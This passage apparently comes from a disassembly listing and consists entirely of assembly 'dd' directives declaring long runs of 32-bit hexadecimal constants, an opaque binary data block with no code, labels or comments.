		dd 0E3C0108Ch, 405B4284h, 58E1E629h, 78796378h,	6043B8F6h
		dd 30F2A298h, 2C3E6C82h, 107AAD24h, 448F74h, 9F6B5B04h
		dd 0D9343C23h, 402FD0C9h, 0BFC19824h, 8FADE891h, 328009C1h
		dd 9C8B5440h, 1CEC274Bh, 0C01D9E19h, 69FB3E7Eh,	21004AE6h
		dd 5808BC93h, 0AB9C5643h, 5048F69Ch, 80A6A071h,	63130F7h
		dd 0B8EE2822h, 28008018h, 0A2B7567Bh, 1B25EBC8h, 38949C24h
		dd 8900D8F3h, 0D1322AE8h, 8E1AF5h, 0C73ECF5Bh, 1EE45D8Ch
		dd 0AD58A00h, 2D4E2A95h, 30491261h, 0CE6C00ECh,	0AE102CF1h
		dd 7A5350C0h, 1D384FAh,	1827DCB8h, 60F524C3h, 1418BB00h
		dd 5C28BC54h, 520A273Bh, 0EF912C1Dh, 0D8742E80h, 7612461Dh
		dd 0FEDD4h, 68003620h, 7209CAD9h, 3CC0490Ch, 9E8E600Bh
		dd 91E414E5h, 0A73C1960h, 8823B017h, 0F1AA84E4h, 909B0FE4h
		dd 0EAA82140h, 89934308h, 3C04D324h, 0F6233F56h, 226CC20Eh
		dd 0E10875CDh, 0A820E2C0h, 0D9C7679Ch, 0AB449432h, 0CAD42045h
		dd 0BA314CF2h, 0CA6C26C9h, 0E469848h, 0E0E56020h, 63D1C4B7h
		dd 916081F6h, 0C496026Fh, 18CF6250h, 5C14959Fh,	27DC0E7h
		dd 4A62F829h, 44829102h, 7C46D948h, 9D88D20h, 0F8C26420h
		dd 0C9C8DC10h, 3A6079FBh, 1340D3h, 8B663086h, 67DD5C26h
		dd 6E24C480h, 0EB09D19Ah, 0EC034C90h, 58009871h, 0BA92DF2Dh
		dd 1EA71FAh, 22BD0A8h, 89AFE10Dh, 98AB1A88h, 81EF2AACh
		dd 88CC4E6Fh, 45BBC0F5h, 0CDA36E58h, 0D85D4CF8h, 0B7B18000h
		dd 9DF9A937h, 712F6FA7h, 5033491Dh, 0BEBCE400h,	1431D151h
		dd 0F716889Bh, 8906103h, 0EE444CDEh, 0B9D1h, 0B165D2A6h
		dd 0B901B80Dh, 992E3540h, 62C4CBC2h, 4428132Bh,	6EAC827Fh
		dd 917834ECh, 5825A726h, 520BD448h, 74FC48A3h, 78C782A4h
		dd 0F960F344h, 39F8E718h, 23D99312h, 0DE1674B2h, 2988D04Fh
		dd 31ECECDFh, 0CE8FA801h, 6DA63AA7h, 48D986F0h,	41218D2h
		dd 0A55C32AFh, 0CC530B20h, 0E4265850h, 6A92311h, 0F0A34C2Eh
		dd 594DF0F0h, 0BD2220A0h, 30F3753Fh, 1E4038ABh,	14819574h
		dd 6C6B5420h, 763A0F44h, 81D3EF6Ch, 0C290AAF2h,	0C74F5888h
		dd 29914E80h, 252C2398h, 0D872BA0Ch, 1F9C5620h,	0A7FD1425h
		dd 8110A466h, 62009AC6h, 417C2A2Dh, 5C3BBCD3h, 928E8124h
		dd 3356AECCh, 88AF6820h, 0A490A626h, 7BB9E700h,	40327778h
		dd 4C2D0BDBh, 1844EC3Fh, 1260BD44h, 21A60A3Ah, 0CA2A4B8h
		dd 0A859C298h, 94A5A74Ch, 2B34F4E6h, 0F77694FCh, 6D0132F0h
		dd 348F203Eh, 0A4418E21h, 0C4639E1Ah, 0B4908822h, 3D8D849h
		dd 0FD946A36h, 0D6301008h, 4AE2DF90h, 23442E61h, 0FF1DD1h
		dd 0C0E5F80Ch, 5C1347E4h, 1822A5A3h, 44B46C40h,	264EA765h
		dd 0E757DCD7h, 550198Ch, 0B5D33362h, 9672C01Fh,	1C09BE2Ch
		dd 7A68D8C1h, 0F2EB27F4h, 0DB98811h, 0F1ACC02Ch, 144DE28Ch
		dd 0A4B2DF8Fh, 8CA96FB2h, 807078DBh, 1C200E3Ah,	0B120D3D1h
		dd 2C263FF9h, 0BC8B550h, 0A1D4E08h, 4FD20810h, 3C3BA365h
		dd 8400CA23h, 0FD3D0356h, 0A6EA1DE5h, 59F066DFh, 104DE7Bh
		dd 3902CCC8h, 0E8047E5h, 0AFB90527h, 6CE675CBh,	0DBA51700h
		dd 2C91E23Bh, 48D56508h
		dd 0A0F00432h, 796432EFh, 18EEF1B0h, 27A72CBAh,	0F05340D8h
		dd 0EC2F76C8h, 0C2D820E5h, 0CE7478h, 6843E83Dh,	0FF072C3Bh
		dd 0F305F00h, 0D0CC198Eh, 6C6D11F4h, 3E6408B8h,	91D02AEFh
		dd 0C89CF844h, 84D37A84h, 0E4A18543h, 42EE08BDh, 2E5411B8h
		dd 0BC0D5983h, 0B715409Fh, 0F096257h, 16B33AA8h, 0AC4620A4h
		dd 0C0D22331h, 9C02BCDAh, 12932041h, 8068F4E6h,	0FF413D7Eh
		dd 690377AFh, 0E44A0AA2h, 27B0805Bh, 8CFB51BEh,	223A9831h
		dd 987ECBA0h, 0ED467Ch,	0B954785Ah, 0EC9CC44Eh,	45F90BAFh
		dd 2CC0746Eh, 67454C26h, 2F3B8AEDh, 19B2394h, 4158AF42h
		dd 3A1EE526h, 0C09E2C48h, 20C20830h, 688F1D43h,	0B3810820h
		dd 0F6024F91h, 0D8E99B9Ch, 12B058AFh, 0F4E04E09h, 9CF1AF4h
		dd 3C294123h, 5180266Eh, 7AAB5109h, 0BCA6C0CDh,	3E2DF300h
		dd 9580A51Bh, 18B0F6Eh,	1CA00C47h, 86CE575h, 3988949Eh
		dd 0BAA409Ah, 7C01C852h, 0D9413157h, 40608E06h,	6C1484ABh
		dd 1CA0BF3Eh, 81AD6DB8h, 0C664F2B4h, 5C26C035h,	275B03F0h
		dd 0CE952805h, 40C1EA70h, 7100453Eh, 0A0409834h, 0C8979DF8h
		dd 0A79FD391h, 6A005864h, 8A3F8886h, 12AA328h, 3AD6AD83h
		dd 45D75416h, 7D0C3AE8h, 0B2FD098Ch, 0C8E4422Dh, 52B7CE00h
		dd 916175BAh, 0C281001Fh, 6732A8F9h, 260F3322h,	2084CB1Eh
		dd 8F0530F7h, 239D0129h, 0A74632D7h, 0A2306345h, 0E6ED30F3h
		dd 129A23Ch, 2C7236CCh,	932FBB38h, 0E7B350F8h, 76031AE8h
		dd 292AF400h, 62235BB3h, 5EB8BEB9h, 491DCA46h, 3796014Dh
		dd 0D0CD5809h, 29057B46h, 0EB23E6A5h, 3E9BDC00h, 54035E30h
		dd 1D4190A4h, 404FE69Ch, 0ADF972E1h, 6A0338CBh,	0D199291Dh
		dd 0F729009Eh, 0FFC5F6ACh, 77383DC9h, 1F338045h, 0EB3FB3A7h
		dd 0C47C1C01h, 42E42699h, 48C06AD2h, 0C2009258h, 136D2957h
		dd 165E6F81h, 6024A985h, 8A9A4C14h, 967D7127h, 545D0784h
		dd 0D05E0B9Ah, 2EEA35B9h, 0E526213h, 4E18CF0h, 907D5423h
		dd 0C8808E9Bh, 92FEC0DCh, 0DE2C5663h, 2455042h,	7A8F9420h
		dd 0DA970023h, 28A5CA3Ch, 8A00341Eh, 0B3EB4A55h, 0FB6A64C0h
		dd 0F2BCD52Fh, 3096F2DCh, 0AB00BA86h, 0C1531C65h, 2734257Eh
		dd 84CD2Ch, 97A40C7h, 131A3245h, 54CFF499h, 2F4B6448h
		dd 0F623D0h, 0BE4096DDh, 981FA248h, 14C66C5Eh, 2578A8B8h
		dd 0C4CDCE03h, 0F882BAC0h, 187BE6h, 17C41D52h, 0AA2A60E0h
		dd 79DC9650h, 392B5900h, 3CC8A26Bh, 47C989Dh, 0DE5FBA9Fh
		dd 5234C0BEh, 0AC24E4A6h, 0A20A3023h, 9143EC59h, 5E3002C2h
		dd 0C5803472h, 0E28AB045h, 9244C8C6h, 0B6698065h, 0A253FD20h
		dd 9722C8h, 79082464h, 5AB739E2h, 41543C02h, 0F8DD7476h
		dd 0BB803098h, 4B05989h, 8D3CB700h, 0D1AF98FDh,	0DCA24C1Ch
		dd 449E9D22h, 563FCC40h, 34C16AFh, 840405B5h, 0F778B2CAh
		dd 492E0D8h, 0BC001453h, 7918DCCh, 5344FDAh, 0D34168D0h
		dd 1F48A858h, 79C67A66h, 89DD01h, 649FBFF6h, 62E11770h
		dd 6B167B16h, 40CEE4A0h, 1C48B4AFh, 3341C0ACh, 3B9EA9F2h
		dd 402CD123h, 5CB0E8C0h, 87009546h, 0B512635Fh,	0DC91D8F3h
		dd 0D618D1D1h, 8490B30h, 1CF7D8FAh, 0EFF04262h,	188581Dh
		dd 3F67AAh, 180D1235h, 0E43AF35Fh, 7500CB23h, 43467B29h
		dd 284D0272h, 842C4F76h, 933E5C60h, 0BCA8A1CFh,	0BB107585h
		dd 0E456A40Bh, 77F402ECh, 0A6E68EF2h, 40A04320h, 29D20062h
		dd 0CD258B17h, 0AA70DEBDh, 0AF44A2B5h, 1CF5E01Eh, 0D68B3C1Ah
		dd 399A9226h, 4F0D017Eh, 5CCE5391h, 6F606562h, 0DB243804h
		dd 90270C91h, 0B180B8E0h, 8BAE00E0h, 96A5DDC1h,	63812800h
		dd 0E0034772h, 48B902BBh, 0BFE6BC6Eh, 0D926C840h, 4CE33D2Dh
		dd 5815955Ch, 0A080ED91h, 42264E32h, 4CC02509h,	0A24C0272h
		dd 2C410F9Fh, 2BF0BE58h, 0E623C03Ah, 29F46C02h,	46684079h
		dd 0D4142526h, 0BE13FCE8h, 0AF252784h, 0F211341Fh, 5C15E780h
		dd 7F711ED7h, 641326ECh, 9491F956h, 226AE6B4h, 222430Ch
		dd 779448A7h, 86170097h, 0AE62F575h, 0C42FDB03h, 3AB0181Dh
		dd 259080ECh, 0BD622414h, 1104748Ch, 0C180AE85h, 8FD0D900h
		dd 8C03DCE9h, 71352A6h,	40D89024h, 81184E76h, 26A8F2DCh
		dd 183BF078h, 0F614019Fh, 20CCA555h, 2F5BFD61h,	56C40Bh
		dd 8E891024h, 14240B1Eh, 6C24D41Ch, 0CB5A43CDh,	0DEFAE96Dh
		dd 255FE8C0h, 6CE5F7B2h, 5067F3E4h, 0BA8161C9h,	84242F70h
		dd 46744449h, 14EB00F0h, 0DCF7D594h, 5054F446h,	4B07D8E4h
		dd 5274908Eh, 38999CF2h, 86A9EDF0h, 0A276B803h,	7A131046h
		dd 0B956F019h, 0F33D0BF0h, 8F00A464h, 548D8088h, 8A0DA7h
		dd 7F99DD37h, 0BBCA8CCh, 0A3FAAC01h, 2443DEE9h,	0B7235194h
		dd 0E0A7DD2Fh, 7064C8DAh, 0C8E8E649h, 0FB002A9Eh, 0BA637205h
		dd 17BD462h, 699412D8h,	3CAF6F6Eh, 0F5248020h, 0F37573h
		dd 2D5A6C32h, 8E5C615Bh, 2B4EBC1Fh, 56B3F401h, 406E41E2h
		dd 64F28918h, 9D9DEBB6h, 82D19130h, 0C0572BB3h,	12895D4Ch
		dd 41F664BEh, 0A31EC4DCh, 0C00902D9h, 80B9C208h, 785E2423h
		dd 3FF8BC01h, 13B5C1Eh,	0E26C26F8h, 23C00C9h, 0D140CBECh
		dd 2500347Ah, 2D2A4798h, 3F51231Ch, 0ED825AB8h,	0B321534Eh
		dd 907958F9h, 4E704D18h, 0B1B72716h, 47BE0C04h,	3C82B8F8h
		dd 0A47CFAD4h, 0CFCEF889h, 0A1C140CCh, 0C90056ADh, 46B66C3Dh
		dd 0BED21462h, 0E237B83Ch, 5CFA9031h, 0F011FD5h, 8744DE55h
		dd 203E26B1h, 302C40C8h, 0FA4F9710h, 0A01E4604h, 1094FDB5h
		dd 0C2FF55Fh, 0C79A2C27h, 188BC65Ch, 142F955Ah,	6E03F023h
		dd 0DC5A7F6Bh, 0A5105C91h, 7C25C600h, 2E09D89Eh, 0A264E191h
		dd 2984D1A4h, 8C0A4ACh,	0C001BD4Ah, 0B155A1DAh,	76D85EFEh
		dd 5803CA46h, 7FA47C61h, 0CF381FB0h, 0F11BE609h, 0E96870D8h
		dd 0DB4CA000h, 480460B6h, 0D082ADD3h, 0F09CD123h, 186AA01h
		dd 1FDB68B9h, 2125FE79h, 0A4173ABEh, 4848A0A2h,	1C8CF4E8h
		dd 7FA7334Ah, 8F0593h, 4C243AE0h, 562D71E8h, 10444D9h
		dd 0B543D370h, 0D0762C5Eh, 0A60BF7A7h, 0F906FFF4h, 189B712Ch
		dd 0F0391342h, 81DCE8F5h, 0EDF35420h, 163AD880h, 0AA906089h
		dd 0FB5EF89Eh, 3A07DD18h, 14722F0Fh, 25F85889h,	2C45EC8Eh
		dd 9160F0E4h, 815CE49Bh, 0E1CC8794h, 415019F0h,	15DF1F6Eh
		dd 305DCF6Dh, 10758D27h, 45FC24E0h, 0BF2675h, 2B5C56B8h
		dd 0FC6C483Ch, 0F4017A13h, 0C23B738Ch, 963A0370h, 0A857CDB7h
		dd 0EEA0FE8Ch, 5E121F32h, 580AC04Ah, 3045611Fh,	0FE14002h
		dd 6E9D3880h, 971B00E8h, 649F4F20h, 6A48A3D1h, 3DD70226h
		dd 0E20BE5C7h, 5AE4E24Fh, 0E8629F78h, 37BD807Ah, 193F0E14h
		dd 0F8D780A5h, 6DB8046Ch, 0D488C070h, 0CDEA80C9h, 13BC4780h
		dd 49B81423h, 0C41051D0h, 6C546DA0h, 53090B98h,	0D0A6AE05h
		dd 3EE34418h, 0D3493F09h, 6CAC04AFh, 800020FCh,	71E54237h
		dd 0BE59942Ch, 9BF01380h, 1222014h, 996F8EF1h, 176F601Ch
		dd 0F97C2004h, 130071A4h, 0F6CAC390h, 0B0A1CFh,	0FDE2214Eh
		dd 5F27523Eh, 226E8617h, 90F2FCF3h, 3E39C30h, 4A21C5B5h
		dd 8100DE81h, 644659BDh, 30848543h, 0EE0ACB1Dh,	917EB5E0h
		dd 6CC86B5Eh, 0FD8A3FA7h, 0FA97C000h, 281636DFh, 0EB1C7D00h
		dd 8D65BB0Ch, 0BD947046h, 0A5B6D4A0h, 1B00EA7Dh, 32D3DD5Dh
		dd 9342590h, 0A9B44679h
		dd 237090D3h, 900098C2h, 0BCE62048h, 240DCA3h, 6352A2FCh
		dd 9A058ECh, 0A49080DBh, 0E8D0E6C0h, 5751CFh, 7E179F3Fh
		dd 7AB67F96h, 273D4912h, 39C81C08h, 52C099E1h, 8B68758Eh
		dd 7886BEC0h, 764017ACh, 5654C0F0h, 34A1AC80h, 293F10EBh
		dd 0EF0400CBh, 38F064F9h, 0AB0DC7Ch, 5C44E507h,	56298E4Bh
		dd 43A34400h, 133C87D6h, 16F363F9h, 1D3C05F8h, 0CEE0CC70h
		dd 8490608Ah, 4C1C80C0h, 1363AD20h, 0B1180DCEh,	0CFB1C014h
		dd 645C6795h, 448064EDh, 980E2DEh, 0B64FDABBh, 0A29F7400h
		dd 0F0BA8E54h, 80993831h, 3B7BC0C7h, 1D72344h, 12B86863h
		dd 2E23C5C4h, 0FA520020h, 92F3E06Eh, 403C94E8h,	15C50432h
		dd 0BCD24F02h, 84C8CEBDh, 2D0BC1E4h, 0E4F16059h, 3B71A318h
		dd 1C921612h, 97EC30A8h, 1D2FA8Ch, 0EF9B0EE5h, 2A1DC666h
		dd 0DD12D85Ch, 0C210C8E2h, 14910495h, 26009BD4h, 0C47AFD4Eh
		dd 30611C00h, 6A9319CEh, 54B55D5Ah, 0AC9B4612h,	8CDCECD8h
		dd 5EC56000h, 0D639E0DFh, 8A80C58Ch, 23983AA2h,	11AA04E7h
		dd 9C04818Dh, 58C09FD8h, 6FB52A40h, 2FE839D0h, 906448DEh
		dd 0CAD81410h, 96F161Eh, 0B070301Ch, 1E326208h,	4891798h
		dd 5FAAAACh, 0E0AD58E6h, 1200A122h, 1123F0A9h, 4E46039h
		dd 75A632F7h, 527CF028h, 721C4704h, 4CBDF22Ch, 29D4D11h
		dd 3B5CD223h, 5A90503Eh, 9EAC40D1h, 0F4DF6C7Ah,	45EC3800h
		dd 566DBAD0h, 63D40009h, 3498AC2Fh, 7F1DDA1Bh, 0ED970DF4h
		dd 413A24E4h, 9F1ED1BBh, 5916D30Eh, 5A95C804h, 99242501h
		dd 34486479h, 2EF53Dh, 0D6B8E7A0h, 169E31Fh, 23E27220h
		dd 864C6044h, 0BD12651h, 1D4679D8h, 0AEBE3EF8h,	0E9A360CCh
		dd 61958D05h, 0C207CC50h, 8C59A073h, 960E4085h,	541CCC90h
		dd 9C3B2F7Bh, 82243007h, 38F25C4Fh, 0FB2DEA78h,	0C4066F9h
		dd 0E1383E40h, 4F3244F1h, 4346598Fh, 0BE180424h, 0B3A70999h
		dd 30E6A22Ch, 0C00011FFh, 46D63B90h, 0B7EEEC0Eh, 9FE36022h
		dd 3980E419h, 0F1D2E959h, 0A7E74264h, 0B8681920h, 9EED2420h
		dd 0BBF08B90h, 1C42105Eh, 31A01B0h, 0A3A03CCCh,	8B03A44Ch
		dd 0E4A47C14h, 50431678h, 0AD04682Ch, 5EC0206Dh, 58A3DDB7h
		dd 50163013h, 661C91C3h, 0C1BC0C67h, 1E4A60F1h,	25C69B5h
		dd 0ABEE281Ch, 80BCFE81h, 6ED2225Dh, 5C01187Bh,	0E9A1AFC8h
		dd 50D8B80Eh, 9C109573h, 0DC0953C9h, 845667C2h,	2341BA48h
		dd 83F23Ch, 5B023260h, 5828A4BDh, 2C0139EEh, 0CBB8F87h
		dd 9C2BC640h, 0A225AE70h, 416CA05Bh, 1CA5272Bh,	350B867h
		dd 0E820A826h, 9CC8D14Bh, 287DDDh, 8E1BF672h, 88A82E6h
		dd 9F4E3300h, 0FD626745h, 4C5975Ah, 4460F3E4h, 0D500D4E7h
		dd 1372260Eh, 956D0CCh,	0FA580BB6h, 328EAB01h, 0A7403486h
		dd 0DE302E50h, 24383416h, 0C48084E8h, 1F8ED80Fh, 0E71E97F3h
		dd 2E3B8F4h, 0E47AE2B2h, 8407DF0h, 0F47903EDh, 6B542609h
		dd 2FC4F2FAh, 84E3CBA0h, 0F02A4830h, 0CA5213Bh,	0AD4330F7h
		dd 0A444DE90h, 0F4B1093Ah, 38892C6Dh, 8DD16851h, 480EDB18h
		dd 4052378Fh, 0C08B9660h, 0C2E3265Ch, 0C0D95210h, 98189179h
		dd 55417700h, 3FF7F478h, 0DEEE122Ch, 82C0E844h,	76C4243Ch
		dd 464209F8h, 0FBA36420h, 309643DEh, 8F81480h, 90EB50E7h
		dd 37800980h, 0C56AC64h, 0F8025961h, 9051FC61h,	3B7AC990h
		dd 5F32368h, 0C198BB52h, 381403F5h, 0E4F489F0h,	0D09F4E10h
		dd 0E8C01E88h, 3C34D74Bh, 5200D0E9h, 0E8E73E27h, 13581E39h
		dd 29A00079h, 0C0C65383h, 2078C2E0h, 0F054434Ch, 37815F00h
		dd 97AAB799h, 0F16BD4C0h, 24089102h, 5BAF3814h,	16460560h
		dd 0C134A188h, 0E8F9A60Ch, 25978208h, 87297890h, 34262F09h
		dd 0E2E8233Ah, 2A3E251h, 45EE3D1h, 48424244h, 8060AED3h
		dd 280A9B5h, 0C829C0A0h, 2474E4EDh, 7C00967Eh, 823863DBh
		dd 26BAE323h, 1F508A6Ah, 0F8A5AF12h, 0E9BE164Ch, 60BC2DF0h
		dd 167729D8h, 0E323D170h, 3296E2D0h, 87DBFA80h,	610099FAh
		dd 520BB0CDh, 96575468h, 0BD25BBCCh, 8E1410A0h,	16133A30h
		dd 0C8A420C2h, 60E688E3h, 50A2F1D2h, 1230EEF2h,	0AC142D8Ch
		dd 9DF06CC8h, 85D180C8h, 21186E40h, 2AC844DCh, 4C6498h
		dd 43878EAFh, 5E46B776h, 263F8602h, 76FC25A6h, 58A20944h
		dd 6E100464h, 145CBDD0h, 802C9B97h, 7A2846F4h, 18A3E40Fh
		dd 41DC87E5h, 141E4315h, 65004C4Bh, 0EDF21E1Ah,	4E49718Ch
		dd 0EC24C598h, 20B8D288h, 8CF2ACh, 42C4537Fh, 4CB87B05h
		dd 0A8023F5Ah, 70481E40h, 0C90802D4h, 5C1423C4h, 0A809407Ch
		dd 0B0900206h, 311600A4h, 0EC09E5D8h, 5442D179h, 5427020Ch
		dd 6C44F777h, 5AFCAB40h, 23683BA8h, 756E03F2h, 23A8B2F4h
		dd 0D092B41Ch, 423AF700h, 0D11E4EA2h, 44D55CEFh, 0E41F6D27h
		dd 2F819411h, 393BDE66h, 46AA0514h, 9CB02A6Ch, 0C9149E90h
		dd 906490E5h, 1A5BFB60h, 9F1B0C01h, 922E5262h, 0D25E0C34h
		dd 0F23CE259h, 0C2AE3091h, 0F24F4E16h, 0A47F7C06h, 0D190B1B0h
		dd 262818D2h, 8987B09h,	6E1CF4B3h, 4DF78880h, 2535FB2Ch
		dd 0C42B1649h, 4812EC27h, 0D40C7104h, 19294CB0h, 0A92AA76Fh
		dd 9873A9h, 0B0BE1B25h,	1C9F456Ch, 413B2DB7h, 0F6754BDDh
		dd 0A9E44204h, 4BF85323h, 88E4CE26h, 456FC0F0h,	0DE258118h
		dd 0CFC7378h, 3891C580h, 92FF0100h, 4AB7DD5Ah, 5F2E03FEh
		dd 8191339Eh, 8362F7D8h, 29002A77h, 87EDB5A5h, 1240B9C0h
		dd 0BDE74876h, 0F95B1008h, 1817184Ch, 0C2E8A9EEh, 0E02DCD4Fh
		dd 95DA2440h, 0C313F8C6h, 0D0F0F00Ch, 809E1D31h, 0B4388136h
		dd 287A4C2Eh, 0E85BCA4Ch, 11F01D27h, 9789F3h, 8753C3FDh
		dd 2C721206h, 0D82880ACh, 0B9407A52h, 943B26D7h, 0D06DAFACh
		dd 34031C7h, 0BB91B61Fh, 189771A4h, 8C7B1363h, 2BFB0981h
		dd 0C601D8DCh, 0D9F11B9Ch, 0BCC01820h, 74A42CD4h, 0E5009646h
		dd 105C7499h, 0B9F69304h, 0CB5DA225h, 0DD710EE4h, 0FD16B509h
		dd 20AF1EA0h, 0DA150240h, 7ACCEC01h, 739101A4h,	0AC341BC4h
		dd 0DC226ADFh, 64A62156h, 101C7A32h, 9828A7CEh,	0FE125851h
		dd 0B5991290h, 0B2804B4h, 878018EBh, 0D2B9085Fh, 0C8A8D830h
		dd 0E69D1DA0h, 0B0AF4E26h, 82804F6h, 0C34DFA8Eh, 14EC58F0h
		dd 0A3A21250h, 94730829h, 96B03846h, 0AD02D1EAh, 641471CDh
		dd 5E2C89A6h, 30D96980h, 0B718EF59h, 46A59402h,	0C7B006E7h
		dd 60F6C490h, 2D8AE7Ah,	0C884E7A6h, 3CC076DBh, 2E80C5A8h
		dd 5C161348h, 3A6C88D8h, 21A741C5h, 0E6C500E8h,	470EF8Ch
		dd 270C991Ch, 445932A5h, 97B420Bh, 34D4B7h, 0C8A23340h
		dd 2CB5C291h, 956D1854h, 0B7AF048h, 40F65317h, 85C85008h
		dd 0A851B46Eh, 9737044Ch, 52723Fh, 0B2E14C28h, 522CCA09h
		dd 0CD8A3C16h, 3A08BC0Fh, 4F140199h, 3695A675h,	342F5A5Ch
		dd 0C803D123h, 0F975190Ah, 121A374h, 95803C7Ch,	6F67DAA2h
		dd 18BCE901h, 46065871h, 0A6D8D42Eh, 0BE7EF0B8h, 0A447003Dh
		dd 0F47BD218h, 4A2F6059h, 0B4DC60AAh, 0A931C731h, 0E882C4C2h
		dd 0B712DE4h, 0D02CFB5Ch, 6D01D327h, 32572D14h,	0F53178DFh
		dd 0ADE4482Bh, 0F4786CABh, 733E0975h, 98471AE6h, 0D760F4C4h
		dd 38E45CE3h, 0F0F22824h, 0A4EA08h, 460B8629h, 0C493AAFDh
		dd 98A2D10Ah, 35C0A80h,	8E8402h, 7654B725h, 0C689EDCDh
		dd 0A262C0B4h, 0A7AC7C5Bh
		dd 730B8871h, 3F6D0086h, 5B94853Ch, 6ACC20BAh, 1A000C47h
		dd 6E786CF4h, 4F9DBC97h, 5E9CE008h, 9450E197h, 0E00BB401h
		dd 5B5AAB17h, 7445F471h, 2E21BC08h, 3152C205h, 0E9D4E040h
		dd 605D740h, 642423CDh,	0CA2740BFh, 0FA481206h,	30414554h
		dd 9F44FFC8h, 0B441954Eh, 0B37DE2A2h, 72381B20h, 67D230F1h
		dd 0DE4ECE02h, 62BC085Ch, 0DF749C05h, 0C4D314B6h, 1E3861C4h
		dd 0A4223B9Bh, 1FA06889h, 98E49D1Ch, 0C772DB0Fh, 0A3372426h
		dd 7C01F0A5h, 0DFECD520h, 0DE9C272Bh, 6293FCD9h, 2382D8ECh
		dd 0E8E97444h, 0D9219651h, 0C58238C3h, 0E222202Ch, 583C88A1h
		dd 1AF0BC41h, 189D61FEh, 219BE98Bh, 0A2701814h,	700290A2h
		dd 8484759Ah, 0A49B856Dh, 0A8A8D184h, 14257208h, 7F0C62E8h
		dd 0FC25A091h, 0FC0086CFh, 8C70570Ch, 2CE0B542h, 9D684629h
		dd 6FAB49B3h, 0A80CFC07h, 0DC5F901h, 23ABFE4h, 0EE6B5428h
		dd 0B8896E03h, 0C0B9DB62h, 74239D9Eh, 0DA3DB7E1h, 5F8F8085h
		dd 4DCFCE29h, 602090F0h, 0BBDF2024h, 417BABBEh,	0BF832901h
		dd 9F1FF923h, 4A2AEFD0h, 3989030h, 0E80F86AEh, 8F2E68h
		dd 0C832F14Fh, 165013E2h, 4240E87h, 2FF024A0h, 0A0F8B791h
		dd 0A99F0916h, 0D4B824A9h, 430005EEh, 2BF6A21Eh, 0BFD66426h
		dd 1588D4AAh, 6205FC84h, 0F1464A3Ah, 0DC6E2B14h, 75552500h
		dd 80F023BDh, 0AFF52216h, 8EAE9CB8h, 0D79D20CCh, 0E895C6E9h
		dd 842C50B6h, 83A6239h,	45031198h, 7920188Fh, 935B086Ah
		dd 0CC1D3480h, 0F009E720h, 63668140h, 0BC3E20F4h, 0E9820819h
		dd 59888B68h, 0E40C2589h, 400C18D2h, 11C4B405h,	0FC062D2Fh
		dd 0E5830837h, 96164818h, 0C6206E08h, 84A2B18h,	18F32131h
		dd 0DC017499h, 3B12013Dh, 0F140888h, 8097608h, 5F0C1BC4h
		dd 639870E8h, 394208FEh, 0E5751811h, 0A331D420h, 1F2A08FDh
		dd 10DF2091h, 0B522EA2Bh, 8CDE131h, 9F03D5DAh, 4031988Eh
		dd 0D02910DEh, 98A8088Ch, 10633A18h, 183C2550h,	189B5C08h
		dd 8C4AA17h, 0A804F06Dh, 0E04A06F1h, 0F2332040h, 10DC4831h
		dd 6001BEE6h, 0DB48880Ah, 295418A5h, 0CD80CEC4h, 6920C622h
		dd 0C72010D8h, 0B091542Bh, 10156252h, 0F802977Ch, 41A20326h
		dd 990D0833h, 6361EE5Ch, 0F7D848E3h, 0CF071010h, 3188B32Ah
		dd 6218BF10h, 0C30895A6h, 6F271280h, 82C3448h, 130C499Fh
		dd 6355080Eh, 5CA730EDh, 0D3010818h, 811C1138h,	6B918C18h
		dd 407B0832h, 0C463273Ah, 10C78130h, 58EC0E08h,	48F9669Fh
		dd 81626608h, 5D5411F2h, 70638794h, 63F49410h, 408AD139h
		dd 0F5D61810h, 1004CA19h, 6C5024E6h, 0CCC7EF40h, 54D134C1h
		dd 81E5E1CCh, 28C962EDh, 0C1061DD2h, 983954B9h,	8E7635Ch
		dd 2818BBF8h, 608918Fh,	0EB28CA43h, 0C3D988ECh,	1823D30Ch
		dd 8B934026h, 1D40DF66h, 0C66F77D1h, 28242908h,	0AE993D66h
		dd 91E46649h, 8CE0095Ah, 4AF66781h, 0F038A234h,	42DD035Ah
		dd 5EC04010h, 3290512Ah, 6908CBA8h, 0A7969048h,	0E42594AAh
		dd 0F5C844D2h, 184B04C0h, 438E904h, 24091944h, 921CAC24h
		dd 7C493F30h, 5FFC52A1h, 0A14A8A2h, 2A311803h, 6290BB08h
		dd 306B6178h, 7C97ED04h, 7118EBF6h, 34F38112h, 36404F14h
		dd 4398A9F8h, 64597834h, 0D18D0879h, 1CC3310h, 6F001309h
		dd 814CED76h, 299480A4h, 584E0302h, 0C021CECh, 765BEA2Ah
		dd 8CD224C0h, 0DB74C60Fh, 162000E0h, 89CA219Bh,	5E496086h
		dd 19223Bh, 0FC04E0A3h,	0EFB57523h, 5FDAD3D0h, 1ED4F2FFh
		dd 0A70099BEh, 4DBF1E38h, 7EBA0FAh, 0E8000AFh, 4ED9A8EAh
		dd 0B90090E1h, 84C0C118h, 1EC6D195h, 0C09AC838h, 21AC9188h
		dd 300947A3h, 40C78057h, 3DC4E98h, 19382018h, 0AAD3F188h
		dd 83CC53E1h, 0FEE04EE9h, 0A8AC8833h, 6508F0A6h, 835711FFh
		dd 2802B9C5h, 4C45C746h, 0FF1CA0CAh, 208018EAh,	80E17EA8h
		dd 0A3BD2611h, 0B8D5E51Bh, 0B57403FEh, 0F5CD1C3h, 584CF000h
		dd 0C5A949DBh, 0FC29006Ch, 40D93FBh, 0C964580h,	3CED6716h
		dd 0B50F224Ch, 62C38EF4h, 0B380BECBh, 0A9039B49h, 78D208E0h
		dd 0B85801D6h, 0DED1A3CDh, 8010B933h, 6C7B66C0h, 9BE598h
		dd 29C777E8h, 10C3F9EBh, 4E1F6A00h, 69E4B001h, 7F280085h
		dd 93E84626h, 520CDAA6h, 88705480h, 0ADFE3C0Eh,	0F403162Fh
		dd 0E05A2990h, 60930E4h, 8805F7Eh, 9D042061h, 0E588B71h
		dd 7868F0A9h, 0BC560018h, 0F7B84DBEh, 0B5AD2302h, 51A4DF4Eh
		dd 681D8ED4h, 60580750h, 9103B0EEh, 254006B4h, 303964E6h
		dd 0BA3C821Ah, 2284E028h, 0A081B7A9h, 51CB16A0h, 2FB2E6A0h
		dd 0F7998000h, 0C3AF3480h, 0A4EA4898h, 10F1A6C7h, 50DCCE1Eh
		dd 21769C0Ch, 2A54B07h,	0C2792060h, 9D7CF472h, 782AB1CCh
		dd 90C5E8B6h, 70456270h, 7E00A89Eh, 2DC9620Bh, 0AC06FA82h
		dd 0D1182820h, 0ED41BB90h, 19B666A2h, 0C97C6052h, 1B102661h
